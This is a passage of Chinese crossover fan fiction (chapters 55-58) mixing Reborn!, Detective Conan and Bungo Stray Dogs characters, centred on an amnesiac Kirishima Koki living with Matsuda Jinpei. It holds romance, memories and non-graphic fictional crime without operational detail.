沢田纲吉用那双已经开了线的毛线手套擦了擦眼睛。 Reborn看着他的学生抬起头。 沢田纲吉的眼睛里带着水汽,棕色的头发蓬松而柔软。 “不光是光希同学。”沢田纲吉说,“我会把所有人带回来的。” 可乐尼洛带着他们去训练了。 Reborn站在森林的中央,感到那只蓝色的蝴蝶落在了自己的帽檐上。 森林里的风吹啊吹。雾岛光希的灵魂仿佛站在Reborn的身后。 他双手环胸,耸了下肩,调笑着和Reborn说道:[我都说了,沢田君的野心可大着呢] 世界第一的杀手先生拉了下帽檐,他哼了一声,语气里却带着笑,仿佛心情不错。 “光希。”Reborn道,“帮我跟另一个阿纲说。” 雾岛光希好奇地弯下腰:[说什么] “瞒着我做出假死这种事——” “等一切结束,你们两个各自三十锤。” [……] 雾岛光希的气息消失了。 Reborn看不见他,却听到了他带着些抱怨的声音。 [我才不要] 雾岛光希道。 [到那时候,我一定会还手的]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 55-60 第56章 沢田纲吉拯救了世界。 没人知道这回事。媒体、公众,所有人得到的消息,只不过是警方已经找到了天然气频繁爆/炸的原因。 一从棺材里出来,就得知了十年前的老师要锤自己三十锤的消息,二十四岁的沢田纲吉笑容僵硬,咳嗽一声,这才勉强维持住了形象,没有惊慌失措地说“诶?!我没有惹到Reborn吧!”。 “光希君还好吗?”沢田纲吉向旁边背着时雨金时,等待着自己的山本武问道。 “我也刚回来。”山本武无奈地笑了下,他的肩膀僵硬,因为之前把身体储存在了特殊的装置里,还有些不习惯这样活动,“不过狱寺说我们来了客人。” “客人?” “就是说啊。” 太宰治幽幽的声音突然从彭格列的广播里传来。 沢田纲吉:“……” “连作为罪魁祸首的沢田君都回来了,光希为什么还是失踪的状态?” 沢田纲吉:“……” 沢田纲吉看看山本武,山本武叹了口气,露出“我也不知道他是怎么做到占领广播站”的表情。 太宰治幽怨的声音里还夹杂着狱寺隼人阴沉的“就算你是阿莱西奥的弟弟——”。 太宰治停顿零点一秒。 太宰治:“中也,他说他要宰了你。” 这下沢田纲吉知道他为什么能占领广播站了。 作为体术顶点的中原中也面无表情,坐在太宰治身边:“有人要杀你的话,我是不会管你的。” 太宰治:“太好了,这就是你对首领的态度,我会和光希告状的。” 中原中也头顶十字路口:“给我成熟点啊混蛋!!” 不用狱寺隼人出手,这两人自己在广播室里吵了起来。 沢田纲吉无可奈何,也不阻止他们,只是向山本武问道:“光希君的匣兵器也没有消息吗?” “帕比的话。”山本武想了想,“最近有人在横滨见过它,据说把野生动物保护协会耍得团团转,斯库瓦罗一直在对他进行追踪。” 沢田纲吉:“然而?” 山本武:“然而帕比并不是很想带我们找到光希。” “沢田君,既然你醒了。”太宰治的声音再次从广播里传来,“快点把ghost弄走,我到底要和他和平相处到什么时候。” 白兰被十四岁的沢田纲吉打败以后,ghost就一直蜗居在港口黑手党地下室的某个房间里。他毕竟不是人,没办法杀了他。 这世界上有着能吸收火焰的能力的,除了ghost就是沢田纲吉。 要弄走ghost,就只能让沢田纲吉用死气的零地点突破把ghost作为火炎吸收了。 沢田纲吉思索片刻,认为意志消沉的ghost倒不是最重要的。 他大致能猜到光希去了哪里- 雾岛光希在野外求生。 他一不知道自己是谁,二不知道为什么有只看起来就会吃人的老鹰一直跟着自己。 他让那只鹰离自己远一点,结果看起来很凶的雨鹰浑身僵硬,在雾岛光希面前从三米高的树上掉了下来,似乎是不想活了。 “……”雾岛光希认为它在陷害自己。 这家伙一定是想通过装死,引起动物保护协会的注意,然后把警察引来—— 雾岛光希想到一半,忽然愣住。 他害怕警察干嘛? 雾岛光希没办法,他只能捡起那只鹰,按照直觉往一个方向走去。 他隐约记得这里有栋别墅,那是他母亲婚前的财产。然而等雾岛光希推开门,扑面而来的却是呛人的甲醛味。 墙壁下有烧焦的痕迹,雾岛光希皱眉,疑惑于这里什么时候发生过火灾的同时,下意识地往二楼走。 金色的家徽在阳光下格外显眼。 雾岛光希的目光在斯库瓦罗的家徽上停留片刻,随即移到下面的书桌上,模糊中记起,应该有个和自己长得很像的人坐在那里,对方抓耳挠腮地处理文件的时候,自己就坐在旁边的沙发上安静地看书。 【“啊!!阿莱西奥!你吵到我了!”】 【“……对不起。”】 【“对不起也很烦!voi——谁让你这么有礼貌了小混蛋!”】 【“斯库瓦罗,狱寺说总是生气的话会变老。”】 [斯库瓦罗]这个名字是雾岛光希找到过去的线索。 雾岛光希这些天野外求生的同时,还按直觉搜索了一下与自己记忆里相符的形象。 而就在雾岛光希以为自己找到应该要找的人的时候,一句“斯库瓦罗”刚说出口,那人就转过身,眼神冰冷地看他。 “你怎么还活着?”安静了片刻,雾岛光希听到那人问他。 雾岛光希反问:“我不应该活着吗?” 有烟草的气息。雾岛光希观察着面前的[斯库瓦罗],对对方会抽烟这点没什么印象。 “陷阱!”[斯库瓦罗]旁边的大块头突然出声,“大哥!他又用这招!这绝对是陷阱啊!” 雾岛光希莫名其妙的,直接反驳:“为什么是陷阱?” 伏特加气急败坏:“你上次这么喊大哥,赖在大哥这里白吃白喝,装个瞎子还让大哥教你狙击,转头就跑——” “哈。”雾岛光希笑了下,“好假的谎,我视力5.0,你才瞎子。” 灼热的烟灰落在琴酒的手上,琴酒的脸上没什么表情,却终于发现了雾岛光希的不对劲。 阿莱西奥终于疯了。 琴酒咬着烟,伯/莱塔上了膛,瞬间阴险地趁人之危。 雾岛光希的肌肉记忆还在,但他对自己会使用火炎和异能这件事看起来比琴酒还陌生,被琴酒压着打了一次,面无表情地怨恨起了自己脑袋里的声音。 “斯库瓦罗。”脸上带着擦伤的雾岛光希宣布,“我会报复你的。” 琴酒看着他,忽然说了句“库拉索死了”。 雾岛光希满头雾水,疑惑地看着[斯库瓦罗],却发现对方扬起眉梢,心情不错地笑了声。 再怎么样雾岛光希也是港口黑手党的人,琴酒还没蠢到在那一群疯子找他的时候真把他杀了,他抛下一句“我不是斯库瓦罗”,在伏特加震惊的眼神中把人带了回去。 雾岛光希就这么和琴酒住了一段时间。 他完全不相信琴酒的那句“我不是斯库瓦罗”,因为雾岛光希对于对方的所有习惯都很熟悉。琴酒早出晚归的,有时候还跟招狗一样头也不回地说“过来”,让他坐在他的身边。 雾岛光希闲不住,某天听到琴酒和某人打电话,说要把自己交给港口黑手党,早上趁琴酒出门,又野外求生去了。 他这次长了记性,放弃了寻找[斯库瓦罗]这条路,还谨慎地抹去自己的行踪,刚自在一点,就被天空上盘旋的老鹰缠上。 想到这里,雾岛光希拎着手里装死的老鹰,又从楼上走下,想去厨房看看有没有吃的。 这个别墅的位置很隐秘,至少在雾岛光希看来,是不应该有第二个人知道的。 可看上去就很邪恶的墨镜男双手抱臂,靠在厨房边的门框上,一见雾岛光希,就冷笑着问他:“一次还不够,你到底要假死几次?” 雾岛光希的肚子不恰适宜地叫了一声。 [帕比]闻见熟悉的味道,抬起脑袋打量了松田阵平一眼。 “它自己掉下来的。”雾岛光希解释道,“我还没有恶毒到去吃保护动物。” 松田阵平:“……” 松田阵平眯起眼:“还装傻?” 雾岛光希有些不满:“你才装傻。你为什么有我家钥匙?还给我。” 松田阵平:“没有。” 雾岛光希:“那你怎么进来的?” 松田阵平:“撬锁。” 雾岛光希:“我要报警。” 松田阵平冷笑:“你报啊。” 雾岛光希打开手机。 他至今没搞懂自己手机里的备注,不过只有一个号码是肯定的。 雾岛光希按下了联系人名为[条子]的电话。 空旷的别墅里,松田阵平的手机响了起来。 雾岛光希看看自己的手机,又看看松田阵平,转头就要逃跑。 结果很明显,他被松田阵平用手/铐拷住,审问了两个小时,才让对方相信自己真的什么都不记得,甚至是刚刚才知道自己的日本名叫[雾岛光希]的。 这家伙的身手也就一般好吧,他刚刚为什么不忍心把刀捅进他脑袋里? 雾岛光希想不通。 松田阵平更想不通。 他本来是想来质问雾岛光希究竟在港口黑手党做什么的事,没想到后者把事情忘得一干二净。 “你是卧底还是真的黑手党?”松田阵平不解地问他。 雾岛光希面色严肃:“……我是野外求生参赛选手。” “。”松田阵平和琴酒一样觉得他疯了。 难不成这才是雾岛的本性?他以前有这么活跃吗? “而且我怎么知道我们是不是真的认识?”雾岛光希举起被手铐铐住的手,“事先声明,这种东西我两秒就能拆掉。” 松田阵平凝视着面前的雾岛光希。青年在失忆的时候也依旧漂亮得惊人,身体看上去比之前好了不少,也不会走两步就懒得动,至少唇瓣是有了点血色。 松田阵平低声和雾岛光希说了什么。 雾岛光希震惊地睁大了眼,他一步三回头地往浴室里走去,五分钟过后,一脸憋屈地从浴室里走出来。 “你是怎么知道的?”雾岛光希问他。 松田阵平:“你以前洗澡的时候看到的。” 雾岛光希:“我们为什么在一起洗澡?” 松田阵平:“哈?那不然你还想和谁一起?” 雾岛光希此时的记忆里并没有任何有关日本文化的知识,更不知道公共澡堂这种东西,他欲言又止,打量着面前的松田阵平,心里有点绝望。 “喂,雾岛。”松田阵平语气危险地问他,“你真什么也不记得了?” 雾岛光希张了张嘴,他本想诚实地回答这个问题,脑中却冒出一个陌生的声音。 ——这次我又要等光希多久? 各式各样的声音充斥了雾岛光希的记忆。 松田阵平注意到他的神色逐渐变得茫然。青年的银发搭在肩上,雪色的睫毛颤动着,原本张开的唇瓣重新合上。 雾岛光希异常不解,只能求助似的看向自己目前为一的熟人。 松田阵平一愣,听见他的心声: 【怎么一下雾岛一下光希的,他连我真正的名字都不知道……】 【我以前在日本,到底干了什么啊】—— 作者有话说:*明天开始写分线!先写松田的,剩下的待定 第57章 一月的东京银装素裹,由于最近破获了个连环杀人案,警视厅本拟定今日傍晚对主要参与案件的警官进行嘉奖,然而一到下班时间,松田阵平就立即抓着挂在椅子上的外套站了起来。 “松田。”隔壁组的上川警官敏锐地发现不对劲,揶揄道,“最近几天你好像都急匆匆的啊,有情况?” 松田阵平:“我可没有加班的兴趣。” “哦哟。”上川笑道,“我看不是为了逃避加班,是赶着去约会吧。有什么不能说的,是不是上次那个向你要号码的妹妹?” 上川的话音一落下,佐藤美和子的声音就在他背后响起:“上川警官,你这么在意松田的私生活做什么?” “我这不是关心好兄弟吗。”上川道,“自从雾岛调到其他部门后,松田这家伙就跟魂被勾走了一样,叫他晚上出来喝酒也不来,整个搜查一课就我俩是单身狗了。” “我什么时候魂不守舍了?”松田阵平挑眉,“上川,你报告写完了吗,明天鹤川警视发现你一份报告拖了两天,他可不会像放过雾岛一样放过你。” 上川脸上的笑容消失:“雾岛雾岛。”他幽怨地盯着地打开电脑,边敲键盘边碎碎念,“雾岛究竟是谁啊,早知道那段时间就不申请休养了。可恶,一个两个的,竟然背叛我们的革命友情……” 啪。 上川的碎碎念停下,他的目光触及自己桌上出现的泡面的下一秒,立即改口:“松田,你知道的,我一向是很看好你的。” 松田阵平背对着他挥了挥手。 “今日阵风最高风速5米/秒,关东地区局部降雨,请各位市民出门注意带伞。” 街边商铺内的电视在播放着今日的天气预报,雾岛光希透过透明的玻璃,看着上面穿着正装的主持人,还没回头就闻到了熟悉的气息。 “我的泡面被老鼠偷了。”没等松田阵平说话,雾岛光希抬起眼来,对上松田阵平的眼睛,“是不是你,松田老鼠?” “胃不好还吃泡面。”松田阵平人高腿长的,没几步就走到了雾岛光希身边,“虽然比起长在天花板上的炸汤圆要稍微好一点。” 【……他到底要嘲笑我的炸汤圆到什么时候】 雾岛光希在心里小声腹诽,他收回看向松田阵平的视线,往停车场走的时候说:“我今天找到工作了。” 松田阵平打开车门:“什么工作?” 雾岛光希顿了顿,补充一句:“反正不违法。” 至今依旧没能记起什么有用的东西,雾岛光希最近兴奋一阵懒惰一阵的,由于昨天晚上忽然梦到自己以前似乎答应过陪松田阵平去水族馆,雾岛光希半夜两点就买了门票,问松田阵平要不要一起去看海豚表演。 那时半夜被敲开门,松田阵平打了个哈欠,他睡眼惺忪,听了一半,有点无语地问他:【“雾岛光希,你知道现在是几点吗?”】 雾岛光希看了眼时钟,这才发现自己吵到了人睡觉。 轿车里开了暖气,雾岛光希试图为自己半夜的行为辩解:“我的生物钟有问题,不是故意要吵你。” 松田阵平单手开着车,语气随性:“你吵我也没关系,反正我也会吵你,你不是说了吗,我的身手还没那个公安好,那我凌晨四点也要拉你起来锻炼。” 雾岛光希:【……】 从把雾岛光希接到家里,已经过去了快十天。期间松田阵平想办法把这个情报传给了降谷零,和降谷零一起来的,除了公安还有自称内务省的官员。 那家伙说了一大堆,松田阵平就听到一句有用的。 ——不愧是种田长官,真是有先见之明。 松田阵平本以为,雾岛光希失忆以后,脾气好了不少。然而当内务省打算强制性地把他带回去的时候,松田阵平只是转了个头,就看到雾岛光希反剪过对方的手,一脸不爽地说“我又不认识你”。 所以是他觉得松田阵平眼熟,才对松田阵平脾气好的。 【至于这么记仇吗】 雾岛光希的声音戛然而止,他瞄了眼驾驶室的松田阵平,莫名有些心虚地关掉手机。 雾岛光希语气僵硬,安慰疑似生气的松田阵平:“其实那个金毛的身手也不是特别好。” 松田阵平假装生气:“嚯~那你昨天怎么要打人的时候还被他抓了。” 雾岛光希回答不出这个问题。因为答案就跟他故意给松田阵平放水一样,雾岛光希就算情商再低,也知道这句话说出来不合适。 【……骗他点什么好呢】 事情发展到现在,松田阵平已经接受了自己能听到雾岛光希心声的事实。 雾岛光希没有头绪的时候就不爱说话,能直接知道雾岛光希内心的想法,倒是令松田阵平方便了不少。 毕竟他最喜欢雾岛光希的那几年,这家伙编了好几个假名骗他。 松田阵平的整个人生,反复在喜欢上雾岛光希,被他骗,原谅他,再被他骗,再喜欢上他,继续被他骗之间横跳。说一点也不生气,那也不可能,松田阵平见到雾岛光希的时候,恨不得揍他两拳,结果手还没动,就通过这家伙的心声发现,雾岛光希也不是故意要骗他,这家伙单纯就是不喜欢别人生气,所以选了个最坏的方法。 雾岛光希是根心眼很多的小苦瓜。 “那不是因为他看上去和松田警官你关系还不错嘛。”雾岛光希编了半天,就编出这一句,说到一半自己都心虚了,“人情世故我还是知道的。” 松田阵平的嘴不是一般的毒:“你的人情世故就是用我的电脑搜索《把人追到手后突然失忆了怎么办》《失忆后我连自己是gay这件事都忘了》《渣男的定义》吗?” 雾岛光希震撼:【他为什么会知道?】 “你没追过我。”松田阵平面不改色地,“你也不是gay,我和你告白的时候你气得把车都锁了。” 雾岛光希沉默了一会:“所以,我们以前一起吃饭,一起洗澡,有时候还一起睡觉,但是只是好朋友?” 【他是在暗示我重新追他,还是他才是渣男?】 松田阵平觉得雾岛光希要是哪天恢复记忆,他真的能自己把自己气死。 【等等,他该不会是给我下套吧?】 雾岛光希反应过来。 【斯库瓦罗是黑手党,那我就应该也是黑手党,难道说他是为了抓我,以前才跟我交往的?现在也只是为了找到我以前犯罪的证据,好把我送进去?】 类似疑神疑鬼的话,松田阵平这十天就听了十几遍。 “啊,没错。”松田阵平下了车,敷衍地回道,“其实以前我是为了抓你才假装和你亲近,知道了就快——” 松田阵平的车被从内部锁了。 他和副驾驶上的雾岛光希对视一眼,认为这个场景似曾相识。 松田阵平:“你给我出来。” 雾岛光希:“绝交了。” 松田阵平:“到底是谁约我来的啊。” 雾岛光希长腿一伸,试图爬到驾驶室把车开走:“你又没录音,拿什么证明我说过?” 松田阵平面无表情,情绪异常稳定。 三分钟后,雾岛光希还是下了车,原因是车钥匙在松田阵平手里。 然而雾岛光希的注意力已经从松田阵平疑似给自己下套上转移,他的帽檐压得很低,阴影遮住小半张脸,只有抬头看向水族馆里游来游去的白鲸时,松田阵平才能看见他那双被映照出蓝色的眼睛。 松田阵平陪他逛了一下午,雾岛光希记起来的就只有“我好像在这里买过什么挂件”,以及“我似乎知道库拉索是谁了”。 酒的名字。 松田阵平一下警觉起来,他凝视着雾岛光希,问他:“谁和你提的库拉索?” 【一个自称不是斯库瓦罗的斯库瓦罗】 “没谁。”雾岛光希继续往前走。 【虽然和他待在一起的感觉也不错,但他一直不告诉我他叫什么,有时候晚上醒来还会发现他冷冰冰地盯着我,跟要杀了我一样,还是快跑吧】 那就是琴酒了。 松田阵平想起那天在摩天轮上远远看到的琴酒和雾岛光希对话的画面,刚想把人先带回去,就听见抱着玩偶的小孩子开心地对着消防栓里的红点说:“妈妈!消防栓长眼睛了!” 不是眼睛,是炸/弹。 这种危险的物品对东京的市民来说,就跟人要吃饭类似,雾岛光希看着穿碎花裙的女人把小女孩抱走,工作人员有条不紊地对人群进行疏散,只有松田阵平和赶来的工作人员低声说了什么。 雾岛光希发现松田阵平的手指很长。他半跪在地,认真地处理炸/弹的时候就跟雾岛光希爱看的好莱坞灾难片主角一样,蓝色的眼睛明亮,充分诠释了什么叫做人在热爱的领域会发光发亮。 【……这么说的话】 雾岛光希默默移开眼睛。 【好像也知道我以前为什么会喜欢他】 松田阵平的手一顿,他现在总算发现了能听到这声音的坏处,无奈地对雾岛光希说了一句“你去车上等我。” 雾岛光希“哦”了声,没去车上等他,只是和被疏散的人群一起站在大厅等他。 松田阵平出来是五分钟后。 大厅的人群拥挤,松田阵平的视线扫了一圈,也没找到雾岛光希在哪。 又被谁拐走了? 松田阵平突然感到一阵焦躁。 雾岛光希这人有把所有人都逼成控制狂的本领。毕竟他消失一次是真的能消失很久,惹上了麻烦也不说。 跟着港口黑手党的人回去了? 还是内务省? 又或者是降谷那个组织的人? 最坏的情况…… “实在是太感谢您。” 松田阵平一顿,闻声看去时,一对父母正领着一个小男孩,对着浑身湿漉漉的雾岛光希鞠着躬。 雾岛光希用来挡脸的鸭舌帽不知所踪,外套裹在同样湿透了的男孩身上,黑色的毛衣吸水后勾勒出身形,睫毛上沾了水,全然不知道他自己吸引了多少人的注意。 那对父母走后,松田阵平把自己的外套盖在了他的头上。 “你还能见义勇为?”松田阵平语气平常地问他,“不是不喜欢小孩吗。” “他逃跑的时候掉到海豚池里去了。”雾岛光希疑惑,“我什么时候说我不喜欢小孩?” 现在的雾岛光希不是以前的雾岛光希,松田阵平盯着他的眼睛,盯得雾岛光希又警惕起来,问他:“干什么,你不会现在要抓我吧?” 松田阵平忽然笑了声。 唇瓣接触的地方是唯一的热源,雾岛光希下意识地张嘴,反应了好半天才反应到松田阵平在亲自己。 作为原本应该主动的的一方,雾岛光希总觉得自己应该亲回去,但雾岛光希不知道该怎么做,只能恼羞成怒地压低声音,质问松田阵平:“干嘛突然亲我。” 松田阵平揶揄他:“你这么紧张做什么。” 雾岛光希莫名其妙,回了句:“我又没有亲过人。” 松田阵平脸上的从容消失了。 “喔。”雾岛光希惊喜,“我记得这个诶。” 松田阵平看他的目光越来越古怪。 难以置信,根本理解不了。 危险,还带了点虎视眈眈。 雾岛光希穿上了松田阵平的外套,一抬头,才发现松田的表情有点奇怪。 他有些疑惑,心想:【松田脑子坏了?他为什么这样看我?】—— 作者有话说:*好了,我要开始国庆连上四天班了[好运莲莲] 第58章 雾岛光希这几天也没闲着。松田阵平出门上班的时候,他就在各种地方偷偷打听所谓的[斯库瓦罗]要把自己弄回去的“港口黑手党”。 那似乎是个统领了整个关东地区的地下组织,所属的成员对他们自己的情报守口如瓶,雾岛光希前天在酒吧里还听到有个山口组的人大骂“雾岛那神经病,这么久没动静,肯定是盘算着又把我们哪个基地炸了!”,今天就听说那家伙被港口黑手党的人抓走了,新来的酒保摇头,边擦着玻璃杯,边感慨“喝酒误事,凶多吉少”。 “凶多吉少是什么意思?” “意思就是活不下来了。”新来的酒保口吻轻松,全然没有一点对生命的尊重,“那个雾岛本身就凶残,教出来的人也凶残,他大庭广众之下骂雾岛,那雾岛的部下不是要杀了他。” 雾岛光希觉得如果这个[雾岛]是自己,那自己以前还挺小心眼的。 “你看上去是不是有点眼熟?”忽然意识到什么,酒保低下头,试图看清戴着帽子的雾岛光希的样子。 酒吧里的光线昏暗,感受到吧台的另一侧的目光,雾岛光希笑了下,抬手摘下黑色的鸭舌帽。 红色的长发落在肩头,灯光下青年的五官隽秀,眼角缀着一颗小痣。 酒保一眼就认出了这是最近那个新火起来的杂志模特,又热切地和雾岛光希聊了几句。 落在身上的目光消失了。 酒保在叽叽喳喳地说着今年的时尚风向,雾岛光希却侧过脸,看到穿黑西装的男人和刚才一直看着自己的那个人搭话。 “海野先生。” 看起来是黑手党的人说道。 “中原干部找您。”- 雾岛光希穿的衣服是杂志社送的,黑色的夹克上带着链条,配上他那头红发,怎么看怎么潮流。 从酒吧回公寓的路上,倘若要避开监控,就必须经过一条年久失修的小路。小路的侧方是个仓库,两个身形健壮的男人在那里讨论着新闻里播报的连环杀人案,其中一人打开箱子,得意洋洋地给另一人展示他新做的炸/弹,据说是要报某个警察抓了他们老大之仇。 然后他们就发现自己的车子底下发出了猫叫。 刚才还得意洋洋的人露出烦躁的表情,他不得不拿来千斤顶,把车子支起来,爬进车底下,去找那只跑进去的猫。 “怎么样?”外面等待的人问道,“找到了吗?” “找是找到了……”车下的那人迟疑道,手里拿着一部播放着音频的手机。 电闸突然被拉掉。 仓库里没有灯光,卷帘门也被放下。 等到外面那人找到电闸,重新打开灯时,看到的就是千斤顶被撤下,红色的血液从车下蔓延开来的画面。 “啊——!!” 雾岛光希提着购物袋,走到公寓时,松田阵平正在接电话。电话那头是佐藤美和子,松田阵平没有避着他,雾岛光希听到类似“犯人内讧”“趁修车的时候把人压死了”“路人听到尖叫报了案”之类的字眼。 松田阵平和佐藤美和子说了大概五分钟,挂断电话的时候,雾岛光希已经和购物袋里的猫玩了起来。 松田阵平双手插兜,就这么看了他一会,忽然说:“你又抄近路了?” 雾岛光希头也不抬:“毕竟走路也很麻烦。” 青年蹲在地上,用狗尾巴草逗小白猫的样子很安静,帕比歪了歪脑袋,似乎是在分辨这只东西能不能作为食物对待。 松田阵平蹲下身,他的声音平静,手掌落在雾岛光希的发顶,强硬地令他转过头看着自己 两人的视线交汇了一会。 松田阵平问:“只是嫌麻烦?” 过了两秒,雾岛光希的嘴唇动了动,回了句:“那不然还能因为什么。” 松田阵平等待了几秒。 【我又没干坏事】- 雾岛光希最近的精神又变得不太好,隔着一堵墙,松田阵平总能三更半夜地听到他的心声在那里幽幽地【睡不着】【为什么松田能睡着】【我以前也失眠吗】【我睡不着,松田也别想睡着】。 雾岛光希睡不着就开始炸年糕,他有着能准确地把年糕炸成紫色的神奇技能。松田阵平早上起来的时候出于研究心理咬了一口,结果刚下楼的雾岛光希大惊失色,抓着松田阵平就让他吐出来。 “你这不是知道有毒吗。” “……” “你该不会是故意在做有毒料理吧。” “……” 两条细长的腿夹在松田阵平的腰上,见雾岛光希默默地别开脸,松田阵平不禁想起警校的时候,刚洗完澡回来的雾岛光希直接打翻了自己喝了一半的饮料,还在众人震惊的视线中,硬要松田阵平把喝进去的东西吐出来的画面。 薄薄的一层布料挡不住什么东西,少年试图用身体的重量压制住暴怒的松田阵平,他伸进对方嘴里的手指也被咬住,发尾的水珠落在松田阵平的眼睛里,令后者的视线有一瞬变得模糊。 十六岁的雾岛光希说:【“被人下药都不知道,蠢货。”】 事实证明那是隔壁班有个在实战课上被松田打败的人的报复行为,不至于有生命危险,但也能让松田阵平吐个几天。 事后萩原研二好奇地问雾岛光希是怎么发现的,雾岛光希回了句“闻到的”,随后又当着松田阵平的面和萩原研二告状。 【“松田咬我。”】 【“……”】 【“他还说我是狗鼻子。”】 【“……”】 二十二岁的松田阵平红了脸,大声说了句【“你为什么每次都非得和萩告状啊!”】 在二十二岁的松田阵平看来,雾岛光希就是个变态。顶着一张招摇的脸,见面就喊自己【“小阵平”】,脾气又差得很,张口闭口就是【“你死定了”】,吃饭也细嚼慢咽的,一块面包能小口小口地吃几分钟,稍微看他久了点就瞪人,打架的时候还时不时爬到自己身上…… 二十二岁的松田阵平严肃地得出结论:【“雾岛他是不是喜欢我。”】 结果萩原研二一口水喷了很远,精准地喷到刚来吃饭的雾岛光希身上。 少年整个人都僵住了,他一僵住,萩原研二也跟着僵住。松田阵平转过身,觉得那时候的雾岛光希都快哭出来了。 雾岛光希那时躲了萩原研二一段时间。 后面不知道后者用什么手段哄好了他,雾岛光希才忘了食堂里的这件事,不再玩为了躲人把诸伏景光当成圆心,秦王绕柱走的游戏。 二十二岁的松田阵平年轻气盛。 二十九岁的松田阵平反客为主。 雾岛光希解释说:“不是有毒料理,我是按记忆里的做的,有人说这是爱的料理。” 松田阵平倒是不介意他挂在自己身上,反而还伸手托了下他:“哦,那你给我做是什么意思?” 雾岛光希:“……你自己要吃的。” “是吗。”松田阵平不以为意,“那你的意思就是故意浪费食材喽?” 雾岛光希沉默了三秒。 “好吧。”雾岛光希妥协,“松田警官,就是给你吃的。” 【警察真难骗】 松田阵平又开始亲他。雾岛光希在家里的时候没有易容,他把那冰棱棱的银发染成红发以后,淡漠的五官就多了几分冲击性。雾岛光希被亲的时候既不反抗,也不闭眼,呼吸被掠夺久了,灰色的眼睛就雾蒙蒙的,支起的腿也渐渐失去力道。 松田阵平问他:“你是不是有事瞒着我。” 青年薄薄的眼皮有些发红,雾岛光希大概是不太适应这个姿势,过了半晌才小声说了句:“其实我也不是完全不记得。” 【好像松田以前也去过那栋别墅,身边还有个小孩】 【大概发生了什么痛苦的事,他捂着我的耳朵,让我不要听】 ——松田阵平是个神奇的人。 ——我把门关上,松田阵平就把门踹开。 那是有关雾岛光希母亲的事。松田阵平到的时候,女人拥抱了雕塑般站着的雾岛光希,小巧的枪却抵住了他的后背,松田阵平不得不提前一步扣下扳机。 他也是前几天才从内务省的人口中得知,那个犯人不是别人,是雾岛光希的母亲,而那布满鲜血,差点被一把火烧成灰烬的别墅,是雾岛光希小时候曾经开心地长大的地方。 “我记得你问我,原来我也是会哭的吗。” 雾岛光希重复出那时松田阵平的话,语气带着些无法确定的迟疑。 “我又不是机器,我当然会哭了。难道是警校的时候,我嘲笑过你类似的事?所以你才会那样问我?” 【除了小心眼以外,怎么以前的我听起来怎么恶毒】 “啊。”松田阵平低笑,“不止是我,警校的时候,你把所有人都嘲笑了一遍。” 觉得一个人能做到的事,就不需要第二个人帮忙。不喜欢团队作业,更不喜欢集体行动,射击的时候会故意空两枪,不管教官怎么教,都不愿意纠正一只手握枪的习惯。 警察在击毙犯人时需要提高精准度,两只手握枪可以大幅度提高射击时的稳定性,然而雾岛光希却一副“虽然人质也挂了,但你就说犯人死没死吧”的表情,气得教官当场尖叫着转圈。 晚上在宿舍的时候,松田阵平趁雾岛光希困得睁不开眼,问他【“你心里真的是这么想的?”】 雾岛光希的声音含糊,大概是困得不行了,随口说了句:【“左手扭了,握枪会疼。”】 那时候的松田阵平就站在他的床边看了他会,伸手圈出雾岛光希放在被子里的手。少年中途被他惊醒了一次,发现松田阵平在研究他的手腕后,短暂地疑惑了一会,反而转过身来,睁着眼睛问他:【“这是什么阴谋?”】 松田阵平问他为什么会扭到,睡醒的雾岛光希又恢复了不说人话的样子,回答是他一只手握枪也比他厉害。 二十二岁的松田阵平眯起眼,勾着唇角说【“原来是这样啊。”】 松田阵平往雾岛光希的衣服上用药水画了只乌龟。 雾岛光希发出惨叫,和松田阵平打作一团,等隔壁的降谷零被吵醒赶到的时候,就一脸阴沉地碎碎念【“我迟早会杀了他”】。 松田阵平可不怕他。 “那我毕业以后就一直当警察?”不知道以前发生过什么,雾岛光希又问,“按你的说法,其他的同事对我没有意见吗?” 这个问题问到了点子上。 雾岛光希察觉到松田阵平唇角的弧度淡了些,隔着墨镜落在自己脸上的目光捉摸不透喜怒。 “你跳楼了。”松田阵平道。 松田阵平的性格是从萩原研二牺牲后沉稳起来的,他从那时起学会了抽烟,退出爆/炸物处理班,加入搜查一课,就是为了抓住曾经害死萩原研二的犯人。 然而就在那个犯人再次出现的前一年,松田阵平在处理某个案子的时候,鉴识课的人姗姗来迟,松田阵平那时还和他们调侃了几句,直到案子处理完成,松田阵平才从一旁警官的对话中得到了他们之所以迟到,是因为警察厅那边的某个案子出现了差错,有位警官为了保护人质当场牺牲,已经通知家属来认领尸体。 松田阵平那时根本没把雾岛的名字和牺牲的警官联系在一起。毕竟雾岛那人的身手好得可以,虽然不知道为什么碍于某种原因给人一种不能放开架子的错觉,但既然雾岛不想让他们看出来,那松田阵平也就装作不知道。 雾岛因为性格的原因总是被人误会,由于长相很受女生欢迎,刚加入公安的时候,松田阵平还能听到有人在食堂暗暗嘲讽对方“正经男人谁留长发,公安那边还说是破例录取的,我看那个娘娘腔肯定有什么后台”之类的,松田阵平从他们身边路过,嘴毒地回了句“有的人头发短见识也短”,然后端着餐盘就坐到了一个人在角落里默默吃着饭的雾岛光对面。 雾岛这人很奇怪。他那时看看坐在对面的松田阵平,又看看远处气红了脸的同事,似乎根本不在意有人在说他坏话这件事,反倒盯着松田的餐盘看了两秒,然后又起身去买了两个面包。 松田阵平咬着面包,过了一会,才有点懒洋洋地回答:【“雾岛,我是吃过了,不是穷得吃不起饭。”】 雾岛光希大受震撼,一方面不理解那他吃什么面包,一方面不理解松田不和他搜查一课的朋友待在一起,跑到这边撑着下巴看自己吃饭干嘛。 萩原研二牺牲,诸伏景光和降谷零不知所踪,伊达航有自己的生活,雾岛光希之后反倒成了和松田阵平待在一起最多的那个。 松田阵平对雾岛光希不是暗恋,是明晃晃的明恋。 雾岛光希不明所以,某天憋出一句:【“我不会拆弹,你别把我当萩原”】,松田阵平沉默,当天就问他脑子是不是有问题。 成为公安的雾岛光希没改掉告状的习惯,松田阵平那天晚上去寺庙扫墓,结果就看到某人蹲在萩原研二的墓前,幽幽地在那说【“松田现在不说我是狗鼻子了,他说我脑子有病”】。 松田阵平更加觉得雾岛光希脑子有病,正打算大步上前把人拎回来,就见雾岛光希低下眼睛,起身伸手摘掉了墓碑上的落叶。 青年将近一米八的个子,穿着风衣的背影与黑夜融为一体。 【“别来梦里陪我了,去陪松田吧。”】 雾岛光希说。 【“他闻起来好难过,我不会安慰人。”】 泛黄的叶子落在了松田阵平的肩头,松田阵平安静地看着他,连呼吸都放轻。 寺庙的住持说:【“那位先生虽然不和你们一起,但他经常自己一个人来呢。”】 雾岛光希确实不喜欢集体行动。 